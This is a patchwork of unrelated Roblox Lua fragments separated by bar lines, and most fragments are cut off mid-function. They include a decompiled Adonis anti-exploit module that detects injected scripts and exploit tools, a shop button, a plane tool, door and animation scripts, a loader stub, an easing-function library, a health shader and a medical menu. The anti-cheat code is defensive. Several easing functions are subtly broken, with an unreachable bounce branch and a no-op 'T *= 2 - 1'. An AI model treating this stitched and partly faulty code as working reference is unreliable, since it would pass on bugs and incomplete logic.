local l__DataModel__52 = l__service__9.DataModel;
local function v32(p23)
if not l__pcall__6(function()
if not u50 and (l__FindService__51("ServerStorage", l__DataModel__52) or l__FindService__51("ServerScriptService", l__DataModel__52)) then
u18("crash", "Disallowed Services Detected");
end;
end) then
u18("kick", "Finding Error");
end;
end;
v32();
l__service__9.DataModel.ChildAdded:connect(v32);
local u53 = v29;
l__service__9.Players.PlayerAdded:connect(function(p24)
u53 = l__tick__41();
end);
local u54 = {};
local u55 = {
FriendStatus = true,
ImageButton = false,
ButtonHoverText = true,
HoverMid = true,
HoverLeft = true,
HoverRight = true,
ButtonHoverTextLabel = true,
Icon = true,
ImageLabel = true,
NameLabel = true,
Players = true,
ColumnValue = true,
ColumnName = true,
Frame = false,
StatText = false
};
l__service__9.Events.CharacterRemoving:connect(function()
for v33, v34 in l__next__42, u54 do
if u55[v33] then
u54[v33] = 0;
end;
end;
end);
l__service__9.GuiService.MenuClosed:connect(function()
menuOpen = false;
end);
l__service__9.GuiService.MenuOpened:connect(function()
menuOpen = true;
end);
l__service__9.ScriptContext.ChildAdded:connect(function(p25)
if u2.GetClassName(p25) == "LocalScript" then
u18("kick", "Localscript Detected; " .. l__tostring__12(p25));
end;
end);
l__service__9.ReplicatedFirst.ChildAdded:connect(function(p26)
if u2.GetClassName(p26) == "LocalScript" then
u18("kick", "Localscript Detected; " .. l__tostring__12(p26));
end;
end);
local function u56(p27)
for v35, v36 in l__pairs__19(u46) do
if l__string__27.find(l__string__27.lower(p27), l__string__27.lower(v36)) and not l__string__27.find(l__string__27.lower(p27), "failed to load") then
return true;
end;
end;
end;
l__service__9.LogService.MessageOut:connect(function(p28, p29)
if u56(p28) then
u18("crash", "Exploit detected; " .. p28);
end;
end);
l__service__9.Selection.SelectionChanged:connect(function()
u18("kick", "Selection changed");
end);
l__service__9.ScriptContext.Error:Connect(function(p30, p31, p32)
if p32 and l__tostring__12(p32) == "tpircsnaisyle" then
u18("kick", "Elysian");
return;
end;
if not p32 or not p31 or p31 == "" then
local v37 = l__service__9.LogService:GetLogHistory();
local v38 = false;
if p32 then
for v39, v40 in l__next__42, v37 do
if v40.message == p30 and v37[v39 + 1] and v37[v39 + 1].message == p31 then
v38 = true;
end;
end;
else
v38 = true;
end;
if v38 then
if not l__string__27.find(l__tostring__12(p31), "CoreGui") then
if not (not l__string__27.find(l__tostring__12(p31), "PlayerScripts")) or not (not l__string__27.find(l__tostring__12(p31), "Animation_Scripts")) or l__string__27.match(l__tostring__12(p31), "^(%S*)%.(%S*)") then
return;
end;
u18("log", "Traceless/Scriptless error");
else
return;
end;
end;
end;
end);
l__service__9.NetworkClient.ChildRemoved:connect(function(p33)
l__wait__8(30);
l__client__35.Kill("Client disconnected from server");
end);
local u57 = v28;
l__service__9.RunService.Stepped:connect(function()
u57 = l__tick__41();
end);
if l__service__9.Player:WaitForChild("Backpack", 120) then
l__service__9.Player.Backpack.ChildAdded:connect(function(p34)
if (p34:IsA("Tool") or p34:IsA("HopperBin")) and not p34:FindFirstChild(u3.CodeName) and (l__service__9.Player:FindFirstChild("Backpack") and p34:IsDescendantOf(l__service__9.Player.Backpack) and p34:IsA("HopperBin")) and (not (not l__rawequal__26(p34.BinType, l__Enum__36.BinType.Grab)) or not (not l__rawequal__26(p34.BinType, l__Enum__36.BinType.Clone)) or not (not l__rawequal__26(p34.BinType, l__Enum__36.BinType.Hammer)) or l__rawequal__26(p34.BinType, l__Enum__36.BinType.GameTool)) then
u18("log", "Building tools detected; " .. l__tostring__12(p34.BinType));
end;
end);
end;
l__service__9.StartLoop("Detection", 10, function()
if l__tick__41() - u57 > 60 then
u18("crash", "Events stopped");
end;
if l__service__9.Player.Parent ~= l__service__9.Players then
u18("crash", "Parent not players");
end;
local v41, v42 = l__pcall__6(function()
l__service__9.ScriptContext.Name = "ScriptContext";
end);
if not v41 then
u18("log", "ScriptContext error?");
end;
local v43, v44 = l__service__9.LogService:GetLogHistory();
while true do
local v45, v46 = l__next__42(v43, v44);
if not v45 then
break;
end;
v44 = v45;
if u56(v46.message) then
u18("crash", "Exploit detected");
end;
end;
local v47, v48 = l__pcall__6(function()
local v49, v50 = l__loadstring__44("print('LOADSTRING TEST')");
end);
if v47 then
u18("crash", "Exploit detected; Loadstring usable");
end;
local v51, v52 = l__pcall__6(function()
l__Instance__45.new("StringValue").RobloxLocked = true;
end);
if v51 then
u18("crash", "RobloxLocked usable");
end;
end);
end;
local l__math__58 = math;
local l__Vector3__59 = Vector3;
local l__CFrame__60 = CFrame;
function v2.AntiDeleteTool(p35)
local v53 = l__math__58.random(1000, 999999) .. "b";
local v54 = l__client__35.Deps.AntiDelete:Clone();
v54.Name = v53;
v54.CanCollide = false;
v54.Anchored = true;
v54.Size = l__Vector3__59.new(3, 3, 3);
v54.CFrame = l__workspace__16.CurrentCamera.CoordinateFrame;
v54.Parent = l__workspace__16.CurrentCamera;
v54.Transparency = 1;
local u61 = nil;
local u62 = v54;
local function u63()
u61 = l__workspace__16.CurrentCamera;
u61.Changed:connect(function(p36)
if u61.Parent ~= l__service__9.Workspace then
u63();
end;
end);
u61.ChildRemoved:connect(function(p37)
if p37 == u62 or not u62 or not u62.Parent or u62.Parent ~= l__workspace__16.CurrentCamera then
u62 = l__client__35.Deps.AntiDelete:Clone();
u62.Name = v53;
u62.CanCollide = false;
u62.Anchored = true;
u62.Size = l__Vector3__59.new(3, 3, 3);
u62.CFrame = l__workspace__16.CurrentCamera.CoordinateFrame;
u62.Parent = l__workspace__16.CurrentCamera;
u62.Transparency = 1;
u18("log", "Attempting to Delete");
end;
end);
end;
u63();
l__service__9.StartLoop("AntiDeleteTool", "RenderStepped", function()
local v55 = l__service__9.Workspace.CurrentCamera:FindFirstChild(v53);
if v55 then
v55.CFrame = l__service__9.Workspace.CurrentCamera.CoordinateFrame * l__CFrame__60.Angles(0, 1.5, 0);
end;
end);
end;
function v2.AntiGod(p38)
local l__Humanoid__56 = l__service__9.Player.Character:WaitForChild("Humanoid");
local u64 = true;
l__service__9.Player.Character.Humanoid.Died:connect(function()
u64 = false;
end);
local u65 = nil;
u65 = l__service__9.Player.Character.Humanoid.Changed:connect(function(p39)
if not u64 or l__Humanoid__56 == nil then
u65:disconnect();
return;
end;
if l__tostring__12(l__service__9.Player.Character.Humanoid.Health) == "-1.#IND" then
u18("kill", "Infinite Health [Godded]");
end;
end);
l__service__9.Player.Character.Humanoid.Health = l__service__9.Player.Character.Humanoid.Health - 1;
end;
u2 = l__service__9.ReadOnly({
LastChanges = {
Lighting = {}
},
Init = function()
u1 = client.UI;
u2 = client.Anti;
u3 = client.Variables;
u4 = client.Process;
end,
Launch = function(p40, p41)
if u2.Detectors[p40] and l__service__9.NetworkClient then
u2.Detectors[p40](p41);
end;
end,
Detected = u18,
Detectors = l__service__9.ReadOnly(v2, false, true),
GetClassName = function(p42)
local u66 = l__tostring__12(l__math__58.random() .. l__math__58.random());
local v57, v58 = l__pcall__6(function()
local v59 = p42[u66];
end);
if v58 then
local v60 = l__string__27.match(v58, u66 .. " is not a valid member of (.*)");
if v60 then
return v60;
end;
end;
end,
RLocked = function(p43)
return not l__pcall__6(function()
return p43:GetFullName();
end);
end,
ObjRLocked = function(p44)
return not l__pcall__6(function()
return p44:GetFullName();
end);
end,
CoreRLocked = function(p45)
local u67 = l__tostring__12(l__math__58.random() .. l__math__58.random());
local v61, v62 = l__pcall__6(function()
l__game__25:GetService("GuiService"):AddSelectionParent(u67, p45);
l__game__25:GetService("GuiService"):RemoveSelectionGroup(u67);
end);
if v62 and l__string__27.find(v62, u67) and l__string__27.find(v62, "GuiService:") then
return true;
end;
l__wait__8(0.5);
local v63, v64 = l__service__9.LogService:GetLogHistory();
while true do
local v65, v66 = l__next__42(v63, v64);
if not v65 then
break;
end;
v64 = v65;
if l__string__27.find(v66.message, u67) and l__string__27.find(v66.message, "GuiService:") then
return true;
end;
end;
end
}, false, true);
l__client__35.Anti = u2;
local l__MetaFunc__67 = l__service__9.MetaFunc;
local v68 = l__MetaFunc__67(l__service__9.StartLoop);
local v69 = l__MetaFunc__67(coroutine.resume);
local v70 = l__MetaFunc__67(coroutine.create);
local v71 = l__MetaFunc__67(l__tick__41);
local v72 = l__MetaFunc__67(l__tostring__12);
local u68 = l__MetaFunc__67(l__wait__8);
local u69 = v71();
local l__coroutine__70 = coroutine;
local l__Core__71 = client.Core;
local l__Functions__72 = client.Functions;
local l__Get__73 = client.Remote.Get;
local u74 = l__MetaFunc__67(l__pcall__6);
local l__Kick__75 = l__LocalPlayer__1.Kick;
l__MetaFunc__67(l__service__9.TrackTask)("Thread: TableCheck", l__MetaFunc__67(function()
while u68(1) do
u69 = v71();
local v73, v74, v75, v76, v77, v78, v79, v80, v81, v82 = l__coroutine__70.resume(l__coroutine__70.create(function()
return l__client__35.Core, l__client__35.Remote, l__client__35.Functions, l__client__35.Anti, l__client__35.Remote.Send, l__client__35.Remote.Get, l__client__35.Anti.Detected, l__client__35.Disconnect, l__client__35.Kill;
end));
if not v73 or v74 ~= l__Core__71 or v75 ~= l__Remote__28 or v76 ~= l__Functions__72 or v77 ~= u2 or v78 ~= l__Send__7 or v79 ~= l__Get__73 or v80 ~= u18 or v81 ~= l__Disconnect__10 or v82 ~= l__Kill__11 then
u74(u18, "crash", "Tamper Protection 10042");
u68(1);
u74(l__Disconnect__10, "Adonis_10042");
u74(l__Kill__11, "Adonis_10042");
u74(l__Kick__75, l__LocalPlayer__1, "Adonis_10042");
end;
end;
end));
end;
|
--// bolekinds
|
local plr = script.Parent.Parent.Parent.Parent.Parent.Parent.Parent
script.Parent.MouseButton1Click:Connect(function()
if plr.YouCash.Value >= 85 and game.ServerStorage.ServerData.ScratchingPost.Value == false then
script.Parent.Parent.Parent.Ching:Play()
plr.YouCash.Value -= 85
game.ServerStorage.ServerData.ScratchingPost.Value = true
end
end)
|
--End of Settup
|
print("Setup Done!")
end
function onSelected(mouse)-- if u Selected the tool it comes alife O: [NOT TO CHANGE!]
mouse.Icon = "rbxasset://textures\\GunCursor.png"-- Icon of mouse
mouse.Button1Down:connect(function() onFollow(mouse) end)
mouse.Move:connect(function() onButton1Down(mouse) end)
mouse.Button1Up:connect(function() onButton1Up(mouse) end)
mouse.KeyDown:connect(function(key) onKeyDown(key,mouse) end)
mouse.KeyUp:connect(KU)
if(script.Parent.Parent.Parent.Character ~= nil) then
if(script.Parent.Parent.Parent.Character:findFirstChild("Plane") ~= nil) then
daplain =script.Parent.Parent.Parent.Character:findFirstChild("Plane")
end
end
vParts = daplain.Parts
wait()
local Gui = script.PlaneStats:Clone()
Gui.Parent = script.Parent.Parent.Parent.PlayerGui
setup(vParts)
wait(1)
interface(Gui)
dagui = Gui
end
function onDeselected()-- this removes the GUI after DISSELECTING [NOT TO CHANGE!]
if Gui ~= nil then
Gui:remove()
Gui = nil
end
end
function interface(G)-- GUI InterFace U may change things below XD
while true do
wait(0.1)
if G ~= nil then
PS = G.Frame-- the Gui
|
------------------------------------------------------------
--\Doors Update
------------------------------------------------------------
|
local DoorsFolder = ACS_Storage:FindFirstChild("Doors")
local CAS = game:GetService("ContextActionService")
local mDistance = 5
local Key = nil
function getNearest()
local nearest = nil
local minDistance = mDistance
local Character = Player.Character or Player.CharacterAdded:Wait()
for I,Door in pairs (DoorsFolder:GetChildren()) do
if Door.Door:FindFirstChild("Knob") ~= nil then
local distance = (Door.Door.Knob.Position - Character.Torso.Position).magnitude
if distance < minDistance then
nearest = Door
minDistance = distance
end
end
end
--print(nearest)
return nearest
end
function Interact(actionName, inputState, inputObj)
if inputState ~= Enum.UserInputState.Begin then return end
local nearestDoor = getNearest()
local Character = Player.Character or Player.CharacterAdded:Wait()
if nearestDoor == nil then return end
if (nearestDoor.Door.Knob.Position - Character.Torso.Position).magnitude <= mDistance then
if nearestDoor ~= nil then
if nearestDoor:FindFirstChild("RequiresKey") then
Key = nearestDoor.RequiresKey.Value
else
Key = nil
end
Evt.DoorEvent:FireServer(nearestDoor,1,Key)
end
end
end
function GetNearest(parts, maxDistance,Part)
local closestPart
local minDistance = maxDistance
for _, partToFace in ipairs(parts) do
local distance = (Part.Position - partToFace.Position).magnitude
if distance < minDistance then
closestPart = partToFace
minDistance = distance
end
end
return closestPart
end
CAS:BindAction("Interact", Interact, false, Enum.KeyCode.G)
Evt.Rappel.PlaceEvent.OnClientEvent:Connect(function(Parte)
local Alinhar = Instance.new('AlignOrientation')
Alinhar.Parent = Parte
Alinhar.PrimaryAxisOnly = true
Alinhar.RigidityEnabled = true
Alinhar.Attachment0 = Character.HumanoidRootPart.RootAttachment
Alinhar.Attachment1 = Camera.BasePart.Attachment
end)
print("ACS 1.7.5")
|
--[[
FirstPersonRigAssembly
Description: FirstPersonRigAssembly is a simple library that is used to track the view model of the current weapon we're using.
]]
|
local FirstPersonRigAssembly = {}
|
-- functions
|
function stopAllAnimations()
local oldAnim = currentAnim
-- return to idle if finishing an emote
if (emoteNames[oldAnim] ~= nil and emoteNames[oldAnim] == false) then
oldAnim = "idle"
end
if FFlagAnimateScriptEmoteHook and currentlyPlayingEmote then
oldAnim = "idle"
currentlyPlayingEmote = false
end
currentAnim = ""
currentAnimInstance = nil
if (currentAnimKeyframeHandler ~= nil) then
currentAnimKeyframeHandler:disconnect()
end
if (currentAnimTrack ~= nil) then
currentAnimTrack:Stop()
currentAnimTrack:Destroy()
currentAnimTrack = nil
end
-- clean up walk if there is one
if (runAnimKeyframeHandler ~= nil) then
runAnimKeyframeHandler:disconnect()
end
if (runAnimTrack ~= nil) then
runAnimTrack:Stop()
runAnimTrack:Destroy()
runAnimTrack = nil
end
return oldAnim
end
function getHeightScale()
if Humanoid then
if FFlagUserAdjustHumanoidRootPartToHipPosition then
if not Humanoid.AutomaticScalingEnabled then
return 1
end
end
local scale = Humanoid.HipHeight / HumanoidHipHeight
if userAnimationSpeedDampening then
if AnimationSpeedDampeningObject == nil then
AnimationSpeedDampeningObject = script:FindFirstChild("ScaleDampeningPercent")
end
if AnimationSpeedDampeningObject ~= nil then
scale = 1 + (Humanoid.HipHeight - HumanoidHipHeight) * AnimationSpeedDampeningObject.Value / HumanoidHipHeight
end
end
return scale
end
return 1
end
local smallButNotZero = 0.0001
function setRunSpeed(speed)
local speedScaled = speed * 1.25
local heightScale = getHeightScale()
local runSpeed = speedScaled / heightScale
if runSpeed ~= currentAnimSpeed then
if runSpeed < 0.33 then
currentAnimTrack:AdjustWeight(1.0)
runAnimTrack:AdjustWeight(smallButNotZero)
elseif runSpeed < 0.66 then
local weight = ((runSpeed - 0.33) / 0.33)
currentAnimTrack:AdjustWeight(1.0 - weight + smallButNotZero)
runAnimTrack:AdjustWeight(weight + smallButNotZero)
else
currentAnimTrack:AdjustWeight(smallButNotZero)
runAnimTrack:AdjustWeight(1.0)
end
currentAnimSpeed = runSpeed
runAnimTrack:AdjustSpeed(runSpeed)
currentAnimTrack:AdjustSpeed(runSpeed)
end
end
function setAnimationSpeed(speed)
if currentAnim == "walk" then
setRunSpeed(speed)
else
if speed ~= currentAnimSpeed then
currentAnimSpeed = speed
currentAnimTrack:AdjustSpeed(currentAnimSpeed)
end
end
end
function keyFrameReachedFunc(frameName)
if (frameName == "End") then
if currentAnim == "walk" then
if userNoUpdateOnLoop == true then
if runAnimTrack.Looped ~= true then
runAnimTrack.TimePosition = 0.0
end
if currentAnimTrack.Looped ~= true then
currentAnimTrack.TimePosition = 0.0
end
else
runAnimTrack.TimePosition = 0.0
currentAnimTrack.TimePosition = 0.0
end
else
local repeatAnim = currentAnim
-- return to idle if finishing an emote
if (emoteNames[repeatAnim] ~= nil and emoteNames[repeatAnim] == false) then
repeatAnim = "idle"
end
if FFlagAnimateScriptEmoteHook and currentlyPlayingEmote then
if currentAnimTrack.Looped then
-- Allow the emote to loop
return
end
repeatAnim = "idle"
currentlyPlayingEmote = false
end
local animSpeed = currentAnimSpeed
playAnimation(repeatAnim, 0.15, Humanoid)
setAnimationSpeed(animSpeed)
end
end
end
function rollAnimation(animName)
local roll = math.random(1, animTable[animName].totalWeight)
local origRoll = roll
local idx = 1
while (roll > animTable[animName][idx].weight) do
roll = roll - animTable[animName][idx].weight
idx = idx + 1
end
return idx
end
local function switchToAnim(anim, animName, transitionTime, humanoid)
-- switch animation
if (anim ~= currentAnimInstance) then
if (currentAnimTrack ~= nil) then
currentAnimTrack:Stop(transitionTime)
currentAnimTrack:Destroy()
end
if (runAnimTrack ~= nil) then
runAnimTrack:Stop(transitionTime)
runAnimTrack:Destroy()
if userNoUpdateOnLoop == true then
runAnimTrack = nil
end
end
currentAnimSpeed = 1.0
-- load it to the humanoid; get AnimationTrack
currentAnimTrack = humanoid:LoadAnimation(anim)
currentAnimTrack.Priority = Enum.AnimationPriority.Core
-- play the animation
currentAnimTrack:Play(transitionTime)
currentAnim = animName
currentAnimInstance = anim
-- set up keyframe name triggers
if (currentAnimKeyframeHandler ~= nil) then
currentAnimKeyframeHandler:disconnect()
end
currentAnimKeyframeHandler = currentAnimTrack.KeyframeReached:connect(keyFrameReachedFunc)
-- check to see if we need to blend a walk/run animation
if animName == "walk" then
local runAnimName = "run"
local runIdx = rollAnimation(runAnimName)
runAnimTrack = humanoid:LoadAnimation(animTable[runAnimName][runIdx].anim)
runAnimTrack.Priority = Enum.AnimationPriority.Core
runAnimTrack:Play(transitionTime)
if (runAnimKeyframeHandler ~= nil) then
runAnimKeyframeHandler:disconnect()
end
runAnimKeyframeHandler = runAnimTrack.KeyframeReached:connect(keyFrameReachedFunc)
end
end
end
function playAnimation(animName, transitionTime, humanoid)
local idx = rollAnimation(animName)
local anim = animTable[animName][idx].anim
switchToAnim(anim, animName, transitionTime, humanoid)
end
function playEmote(emoteAnim, transitionTime, humanoid)
switchToAnim(emoteAnim, emoteAnim.Name, transitionTime, humanoid)
currentlyPlayingEmote = true
end
|
---------------------
-- End of Examples --
---------------------
|
local Plugins
if script:FindFirstChild('Plugins') and #(script:FindFirstChild('Plugins'):GetChildren()) >= 1 then
Plugins = script:FindFirstChild('Plugins')
end
if script.Parent ~= game:GetService('ServerScriptService') then
script.Parent = game:GetService('ServerScriptService')
end
require(Configuration['Loader ID'])(Plugins,Configuration)
|
-- @specs https://design.firefox.com/photon/motion/duration-and-easing.html
|
local MozillaCurve = Bezier(0.07, 0.95, 0, 1)
local function Smooth(T)
return T * T * (3 - 2 * T)
end
local function Smoother(T)
return T * T * T * (T * (6 * T - 15) + 10)
end
local function RidiculousWiggle(T)
return math.sin(math.sin(T * 3.1415926535898) * 1.5707963267949)
end
local function Spring(T)
return 1 + (-math.exp(-6.9 * T) * math.cos(-20.106192982975 * T))
end
local function SoftSpring(T)
return 1 + (-math.exp(-7.5 * T) * math.cos(-10.053096491487 * T))
end
local function OutBounce(T)
if T < 0.36363636363636 then
return 7.5625 * T * T
elseif T < 0.72727272727273 then
return 3 + T * (11 * T - 12) * 0.6875
elseif T < 0.090909090909091 then
return 6 + T * (11 * T - 18) * 0.6875
else
return 7.875 + T * (11 * T - 21) * 0.6875
end
end
local function InBounce(T)
if T > 0.63636363636364 then
T -= 1
return 1 - T * T * 7.5625
elseif T > 0.272727272727273 then
return (11 * T - 7) * (11 * T - 3) / -16
elseif T > 0.090909090909091 then
return (11 * (4 - 11 * T) * T - 3) / 16
else
return T * (11 * T - 1) * -0.6875
end
end
local EasingFunctions = setmetatable({
InLinear = Linear;
OutLinear = Linear;
InOutLinear = Linear;
OutInLinear = Linear;
OutSmooth = Smooth;
InSmooth = Smooth;
InOutSmooth = Smooth;
OutInSmooth = Smooth;
OutSmoother = Smoother;
InSmoother = Smoother;
InOutSmoother = Smoother;
OutInSmoother = Smoother;
OutRidiculousWiggle = RidiculousWiggle;
InRidiculousWiggle = RidiculousWiggle;
InOutRidiculousWiggle = RidiculousWiggle;
OutInRidiculousWiggle = RidiculousWiggle;
OutRevBack = RevBack;
InRevBack = RevBack;
InOutRevBack = RevBack;
OutInRevBack = RevBack;
OutSpring = Spring;
InSpring = Spring;
InOutSpring = Spring;
OutInSpring = Spring;
OutSoftSpring = SoftSpring;
InSoftSpring = SoftSpring;
InOutSoftSpring = SoftSpring;
OutInSoftSpring = SoftSpring;
InSharp = Sharp;
InOutSharp = Sharp;
OutSharp = Sharp;
OutInSharp = Sharp;
InAcceleration = Acceleration;
InOutAcceleration = Acceleration;
OutAcceleration = Acceleration;
OutInAcceleration = Acceleration;
InStandard = Standard;
InOutStandard = Standard;
OutStandard = Standard;
OutInStandard = Standard;
InDeceleration = Deceleration;
InOutDeceleration = Deceleration;
OutDeceleration = Deceleration;
OutInDeceleration = Deceleration;
InFabricStandard = FabricStandard;
InOutFabricStandard = FabricStandard;
OutFabricStandard = FabricStandard;
OutInFabricStandard = FabricStandard;
InFabricAccelerate = FabricAccelerate;
InOutFabricAccelerate = FabricAccelerate;
OutFabricAccelerate = FabricAccelerate;
OutInFabricAccelerate = FabricAccelerate;
InFabricDecelerate = FabricDecelerate;
InOutFabricDecelerate = FabricDecelerate;
OutFabricDecelerate = FabricDecelerate;
OutInFabricDecelerate = FabricDecelerate;
InUWPAccelerate = UWPAccelerate;
InOutUWPAccelerate = UWPAccelerate;
OutUWPAccelerate = UWPAccelerate;
OutInUWPAccelerate = UWPAccelerate;
InStandardProductive = StandardProductive;
InStandardExpressive = StandardExpressive;
InEntranceProductive = EntranceProductive;
InEntranceExpressive = EntranceExpressive;
InExitProductive = ExitProductive;
InExitExpressive = ExitExpressive;
OutStandardProductive = StandardProductive;
OutStandardExpressive = StandardExpressive;
OutEntranceProductive = EntranceProductive;
OutEntranceExpressive = EntranceExpressive;
OutExitProductive = ExitProductive;
OutExitExpressive = ExitExpressive;
InOutStandardProductive = StandardProductive;
InOutStandardExpressive = StandardExpressive;
InOutEntranceProductive = EntranceProductive;
InOutEntranceExpressive = EntranceExpressive;
InOutExitProductive = ExitProductive;
InOutExitExpressive = ExitExpressive;
OutInStandardProductive = StandardProductive;
OutInStandardExpressive = StandardProductive;
OutInEntranceProductive = EntranceProductive;
OutInEntranceExpressive = EntranceExpressive;
OutInExitProductive = ExitProductive;
OutInExitExpressive = ExitExpressive;
OutMozillaCurve = MozillaCurve;
InMozillaCurve = MozillaCurve;
InOutMozillaCurve = MozillaCurve;
OutInMozillaCurve = MozillaCurve;
InQuad = function(T)
return T * T
end;
OutQuad = function(T)
return T * (2 - T)
end;
InOutQuad = function(T)
if T < 0.5 then
return 2 * T * T
else
return 2 * (2 - T) * T - 1
end
end;
OutInQuad = function(T)
if T < 0.5 then
T *= 2
return T * (2 - T) / 2
else
T *= 2 - 1
return (T * T) / 2 + 0.5
end
end;
InCubic = function(T)
return T * T * T
end;
OutCubic = function(T)
return 1 - (1 - T) * (1 - T) * (1 - T)
end;
InOutCubic = function(T)
if T < 0.5 then
return 4 * T * T * T
else
T -= 1
return 1 + 4 * T * T * T
end
end;
OutInCubic = function(T)
if T < 0.5 then
T = 1 - (T * 2)
return (1 - T * T * T) / 2
else
T *= 2 - 1
return T * T * T / 2 + 0.5
end
end;
InQuart = function(T)
return T * T * T * T
end;
OutQuart = function(T)
T -= 1
return 1 - T * T * T * T
end;
InOutQuart = function(T)
if T < 0.5 then
T *= T
return 8 * T * T
else
T -= 1
return 1 - 8 * T * T * T * T
end
end;
OutInQuart = function(T)
if T < 0.5 then
T *= 2 - 1
return (1 - T * T * T * T) / 2
else
T *= 2 - 1
return T * T * T * T / 2 + 0.5
end
end;
InQuint = function(T)
return T * T * T * T * T
end;
OutQuint = function(T)
T -= 1
return T * T * T * T * T + 1
end;
InOutQuint = function(T)
if T < 0.5 then
return 16 * T * T * T * T * T
else
T -= 1
return 16 * T * T * T * T * T + 1
end
end;
OutInQuint = function(T)
if T < 0.5 then
T *= 2 - 1
return (T * T * T * T * T + 1) / 2
else
T *= 2 - 1
return T * T * T * T * T / 2 + 0.5
end
end;
InBack = function(T)
return T * T * (3 * T - 2)
end;
OutBack = function(T)
return (T - 1) * (T - 1) * (T * 2 + T - 1) + 1
end;
InOutBack = function(T)
if T < 0.5 then
return 2 * T * T * (2 * 3 * T - 2)
else
return 1 + 2 * (T - 1) * (T - 1) * (2 * 3 * T - 2 - 2)
end
end;
OutInBack = function(T)
if T < 0.5 then
T *= 2
return ((T - 1) * (T - 1) * (T * 2 + T - 1) + 1) / 2
else
T *= 2 - 1
return T * T * (3 * T - 2) / 2 + 0.5
end
end;
InSine = function(T)
return 1 - math.cos(T * 1.5707963267949)
end;
OutSine = function(T)
return math.sin(T * 1.5707963267949)
end;
InOutSine = function(T)
return (1 - math.cos(3.1415926535898 * T)) / 2
end;
OutInSine = function(T)
if T < 0.5 then
return math.sin(T * 3.1415926535898) / 2
else
return (1 - math.cos((T * 2 - 1) * 1.5707963267949)) / 2 + 0.5
end
end;
OutBounce = OutBounce;
InBounce = InBounce;
InOutBounce = function(T)
if T < 0.5 then
return InBounce(2 * T) / 2
else
return OutBounce(2 * T - 1) / 2 + 0.5
end
end;
OutInBounce = function(T)
if T < 0.5 then
return OutBounce(2 * T) / 2
else
return InBounce(2 * T - 1) / 2 + 0.5
end
end;
InElastic = function(T)
return math.exp((T * 0.96380736418812 - 1) * 8) * T * 0.96380736418812 * math.sin(4 * T * 0.96380736418812) * 1.8752275007429
end;
OutElastic = function(T)
return 1 + (math.exp(8 * (0.96380736418812 - 0.96380736418812 * T - 1)) * 0.96380736418812 * (T - 1) * math.sin(4 * 0.96380736418812 * (1 - T))) * 1.8752275007429
end;
InOutElastic = function(T)
if T < 0.5 then
return (math.exp(8 * (2 * 0.96380736418812 * T - 1)) * 0.96380736418812 * T * math.sin(2 * 4 * 0.96380736418812 * T)) * 1.8752275007429
else
return 1 + (math.exp(8 * (0.96380736418812 * (2 - 2 * T) - 1)) * 0.96380736418812 * (T - 1) * math.sin(4 * 0.96380736418812 * (2 - 2 * T))) * 1.8752275007429
end
end;
OutInElastic = function(T)
-- This isn't actually correct, but it is close enough.
if T < 0.5 then
T *= 2
return (1 + (math.exp(8 * (0.96380736418812 - 0.96380736418812 * T - 1)) * 0.96380736418812 * (T - 1) * math.sin(4 * 0.96380736418812 * (1 - T))) * 1.8752275007429) / 2
else
T *= 2 - 1
return (math.exp((T * 0.96380736418812 - 1) * 8) * T * 0.96380736418812 * math.sin(4 * T * 0.96380736418812) * 1.8752275007429) / 2 + 0.5
end
end;
InExpo = function(T)
return T * T * math.exp(4 * (T - 1))
end;
OutExpo = function(T)
return 1 - (1 - T) * (1 - T) / math.exp(4 * T)
end;
InOutExpo = function(T)
if T < 0.5 then
return 2 * T * T * math.exp(4 * (2 * T - 1))
else
return 1 - 2 * (T - 1) * (T - 1) * math.exp(4 * (1 - 2 * T))
end
end;
OutInExpo = function(T)
if T < 0.5 then
T *= 2
return (1 - (1 - T) * (1 - T) / math.exp(4 * T)) / 2
else
T *= 2 - 1
return (T * T * math.exp(4 * (T - 1))) / 2 + 0.5
end
end;
InCirc = function(T)
return -(math.sqrt(1 - T * T) - 1)
end;
OutCirc = function(T)
T -= 1
return math.sqrt(1 - T * T)
end;
InOutCirc = function(T)
T *= 2
if T < 1 then
return -(math.sqrt(1 - T * T) - 1) / 2
else
T -= 2
return (math.sqrt(1 - T * T) - 1) / 2
end
end;
OutInCirc = function(T)
if T < 0.5 then
T *= 2 - 1
return math.sqrt(1 - T * T) / 2
else
T *= 2 - 1
return (-(math.sqrt(1 - T * T) - 1)) / 2 + 0.5
end
end;
}, {
__index = function(_, Index)
error(tostring(Index) .. " is not a valid easing function.", 2)
end;
})
return EasingFunctions
|
--[[Drivetrain Initialize]]
|
local Drive={}
--Power Front Wheels
|
-- PUT THIS INTO YOUR STARTERGUI
-- LEAVE shader PART INTO THE WORKSPACE
|
wait(1)
local shad
workspace.CurrentCamera:ClearAllChildren()
game:GetService("RunService").RenderStepped:connect(function()
if shad then shad:Destroy() end
shad = workspace.shader:Clone()
shad.Parent = workspace.CurrentCamera
Instance.new("BlockMesh",shad).Offset = Vector3.new(0,-1000,0)
shad.CFrame = workspace.CurrentCamera.CFrame * CFrame.new(0,1000,-1.75)
workspace.CurrentCamera.CameraType = "Custom"
shad.Transparency = game.Players.LocalPlayer.Character.Humanoid.Health / 140
end)
|
-----------------------------------------------------------------------------------------------
-----------------------------------------------------------------------------------------------
|
Target.Changed:Connect(function(Valor)
if Valor == "N/A" then
Texto.Text = player.Name
script.Parent.Reset.Visible = false
else
Texto.Text = Valor
script.Parent.Reset.Visible = true
end
end)
script.Parent.Reset.MouseButton1Down:connect(function()
Reset:FireServer()
end)
script.Parent.Menu.Bandages.MouseButton1Down:connect(function()
if Saude.Variaveis.Doer.Value == false and script.Parent.BandagesAberto.Visible == false then
--Saude.Variaveis.Doer.Value = true
--Timer.Barra.Size = UDim2.new(0,0,1,0)
--TS:Create(Timer.Barra, TweenInfo.new(.25), {Size = UDim2.new(1,0,1,0)}):Play()
--wait(.25)
script.Parent.OtherAberto.Visible = false
script.Parent.MedicineAberto.Visible = false
script.Parent.BandagesAberto.Visible = true
--Saude.Variaveis.Doer.Value = false
end
end)
script.Parent.Menu.Medicines.MouseButton1Down:connect(function()
if Saude.Variaveis.Doer.Value == false and script.Parent.MedicineAberto.Visible == false then
--Saude.Variaveis.Doer.Value = true
--Timer.Barra.Size = UDim2.new(0,0,1,0)
--TS:Create(Timer.Barra, TweenInfo.new(.25), {Size = UDim2.new(1,0,1,0)}):Play()
--wait(.25)
script.Parent.OtherAberto.Visible = false
script.Parent.MedicineAberto.Visible = true
script.Parent.BandagesAberto.Visible = false
--Saude.Variaveis.Doer.Value = false
end
end)
script.Parent.Menu.Others.MouseButton1Down:connect(function()
if Saude.Variaveis.Doer.Value == false and script.Parent.OtherAberto.Visible == false then
--Saude.Variaveis.Doer.Value = true
